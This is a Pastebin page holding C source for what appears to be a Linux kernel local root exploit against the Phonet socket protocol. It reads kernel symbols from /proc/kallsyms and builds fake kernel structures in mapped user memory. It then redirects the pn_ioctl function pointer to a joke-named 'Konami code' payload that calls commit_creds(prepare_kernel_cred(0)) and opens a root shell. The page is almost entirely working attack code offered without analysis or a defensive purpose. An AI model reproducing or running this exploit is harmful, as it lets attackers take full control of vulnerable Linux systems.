Guest User

Untitled

a guest
Oct 19th, 2018
111
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 7.40 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <fcntl.h>
  3. #include <sys/socket.h>
  4. #include <errno.h>
  5. #include <string.h>
  6. #include <linux/capability.h>
  7. #include <sys/utsname.h>
  8. #include <sys/mman.h>
  9. #include <unistd.h>
  10.  
  11. typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
  12. typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
  13. _commit_creds commit_creds;
  14. _prepare_kernel_cred prepare_kernel_cred;
  15.  
  16. int getroot(void)
  17. {
  18.          
  19.         commit_creds(prepare_kernel_cred(0));
  20.         return 0;      
  21.  
  22. }
  23.  
  24. int konami(void)
  25. {
  26.  
  27.         /* Konami code! */
  28.         asm("inc %edx;"         /* UP */
  29.             "inc %edx;"         /* UP */
  30.             "dec %edx;"         /* DOWN */
  31.             "dec %edx;"         /* DOWN */
  32.             "shl %edx;"         /* LEFT */
  33.             "shr %edx;"         /* RIGHT */
  34.             "shl %edx;"         /* LEFT */
  35.             "shr %edx;"         /* RIGHT */
  36.             "push %ebx;"        /* B */
  37.             "pop %ebx;"
  38.             "push %eax;"        /* A */
  39.             "pop %eax;"
  40.             "mov $getroot, %ebx;"
  41.             "call *%ebx;");     /* START */
  42.  
  43.         return 0;
  44. }
  45.  
  46. /* thanks spender... */
  47. unsigned long get_kernel_sym(char *name)
  48. {
  49.         FILE *f;
  50.         unsigned long addr;
  51.         char dummy;
  52.         char sname[512];
  53.         struct utsname ver;
  54.         int ret;
  55.         int rep = 0;
  56.         int oldstyle = 0;
  57.  
  58.         f = fopen("/proc/kallsyms", "r");
  59.         if (f == NULL) {
  60.                 f = fopen("/proc/ksyms", "r");
  61.                 if (f == NULL)
  62.                         return 0;
  63.                 oldstyle = 1;
  64.         }
  65.  
  66.         while(ret != EOF) {
  67.                 if (!oldstyle)
  68.                         ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
  69.                 else {
  70.                         ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
  71.                         if (ret == 2) {
  72.                                 char *p;
  73.                                 if (strstr(sname, "_O/") || strstr(sname, "_S."))
  74.                                         continue;
  75.                                 p = strrchr(sname, '_');
  76.                                 if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
  77.                                         p = p - 4;
  78.                                         while (p > (char *)sname && *(p - 1) == '_')
  79.                                                 p--;
  80.                                         *p = '\0';
  81.                                 }
  82.                         }
  83.                 }
  84.                 if (ret == 0) {
  85.                         fscanf(f, "%s\n", sname);
  86.                         continue;
  87.                 }
  88.                 if (!strcmp(name, sname)) {
  89.                         fprintf(stdout, " [+] Resolved %s to %p\n", name, (void *)addr);
  90.                         fclose(f);
  91.                         return addr;
  92.                 }
  93.         }
  94.  
  95.         fclose(f);
  96.         return 0;
  97. }
  98.  
  99. int main(int argc, char * argv[])
  100. {
  101.  
  102.         int sock, proto, i, offset = -1;
  103.         unsigned long proto_tab, landing, target, pn_ops, pn_ioctl, *ptr;
  104.         void * map;
  105.          
  106.         /* Create a socket to load the module for symbol support */
  107.         printf("[*] Testing Phonet support and CAP_SYS_ADMIN...\n");
  108.         sock = socket(PF_PHONET, SOCK_DGRAM, 0);
  109.  
  110.         if(sock < 0) {
  111.                 if(errno == EPERM)
  112.                         printf("[*] You don't have CAP_SYS_ADMIN.\n");
  113.  
  114.                 else
  115.                         printf("[*] Failed to open Phonet socket.\n");
  116.                  
  117.                 return -1;
  118.         }
  119.  
  120.         /* Resolve kernel symbols */
  121.         printf("[*] Resolving kernel symbols...\n");
  122.  
  123.         proto_tab = get_kernel_sym("proto_tab");
  124.         pn_ops = get_kernel_sym("phonet_dgram_ops");
  125.         pn_ioctl = get_kernel_sym("pn_socket_ioctl");
  126.         commit_creds = get_kernel_sym("commit_creds");
  127.         prepare_kernel_cred = get_kernel_sym("prepare_kernel_cred");
  128.  
  129.         if(!proto_tab || !commit_creds || !prepare_kernel_cred ||
  130.            !pn_ops || !pn_ioctl) {
  131.                 printf("[*] Failed to resolve kernel symbols.\n");
  132.                 return -1;
  133.         }
  134.  
  135.         /* Thanks bla, for reminding me how to do basic math */
  136.         landing = 0x20000000;
  137.         proto = 1 << 31 | (landing - proto_tab) >> 2;
  138.  
  139.         /* Map it */
  140.         printf("[*] Preparing fake structures...\n");
  141.  
  142.         map = mmap((void *)landing, 0x10000,
  143.                    PROT_READ | PROT_WRITE | PROT_EXEC,
  144.                    MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
  145.          
  146.         if(map == MAP_FAILED) {
  147.                 printf("[*] Failed to map landing area.\n");
  148.                 return -1;
  149.         }
  150.          
  151.         /* Pointer to phonet_protocol struct */
  152.         ptr = (unsigned long *)landing;
  153.         ptr[0] = &ptr[1];
  154.  
  155.         /* phonet_protocol struct */
  156.         for(i = 1; i < 4; i++)
  157.                 ptr[i] = &ptr[4];
  158.  
  159.         /* proto struct */
  160.         for(i = 4; i < 204; i++)
  161.                 ptr[i] = &ptr[204];
  162.  
  163.         /* First, do a test run to calculate any offsets */
  164.         target = 0x30000000;
  165.  
  166.         /* module struct */
  167.         for(i = 204; i < 404; i++)
  168.                 ptr[i] = target;
  169.          
  170.         /* Map it */
  171.         map = mmap((void *)0x30000000, 0x2000000,
  172.                    PROT_READ | PROT_WRITE | PROT_EXEC,
  173.                    MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
  174.          
  175.         if(map == MAP_FAILED) {
  176.                 printf("[*] Failed to map landing area.\n");
  177.                 return -1;
  178.         }
  179.  
  180.         printf("[*] Calculating offsets...\n");
  181.  
  182.         socket(PF_PHONET, SOCK_DGRAM, proto);
  183.          
  184.         ptr = 0x30000000;
  185.         for(i = 0; i < 0x800000; i++) {
  186.                 if(ptr[i] != 0) {
  187.                         offset = i * sizeof(void *);
  188.                         break;
  189.                 }
  190.         }
  191.  
  192.         if(offset == -1) {
  193.                 printf("[*] Test run failed.\n");
  194.                 return -1;
  195.         }
  196.  
  197.         /* MSB of pn_ioctl */
  198.         target = pn_ops + 10 * sizeof(void *) - 1 - offset;
  199.          
  200.         /* Re-fill the module struct */
  201.         ptr = (unsigned long *)landing;
  202.         for(i = 204; i < 404; i++)
  203.                 ptr[i] = target;
  204.          
  205.         /* Push pn_ioctl fptr into userspace */
  206.         printf("[*] Modifying function pointer...\n");
  207.  
  208.         landing = pn_ioctl;    
  209.         while((landing & 0xff000000) != 0x10000000) {
  210.                 socket(PF_PHONET, SOCK_DGRAM, proto);
  211.                 landing += 0x01000000;
  212.         }
  213.  
  214.         /* Map it */
  215.         map = mmap((void *)(landing & ~0xfff), 0x10000,
  216.                    PROT_READ | PROT_WRITE | PROT_EXEC,
  217.                    MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
  218.          
  219.         if(map == MAP_FAILED) {
  220.                 printf("[*] Failed to map payload area.\n");
  221.                 return -1;
  222.         }
  223.  
  224.         /* Copy payload */
  225.         memcpy((void *)landing, &konami, 1024);
  226.  
  227.         printf("[*] Executing Konami code at ring0...\n");
  228.         ioctl(sock, 0, NULL);
  229.  
  230.         if(getuid()) {
  231.                 printf("[*] Exploit failed to get root.\n");
  232.                 return -1;
  233.         }
  234.  
  235.         printf("[*] Konami code worked!  Have a root shell.\n");
  236.         execl("/bin/sh", "/bin/sh", NULL);
  237.  
  238. }
Add Comment
Please, Sign In to add comment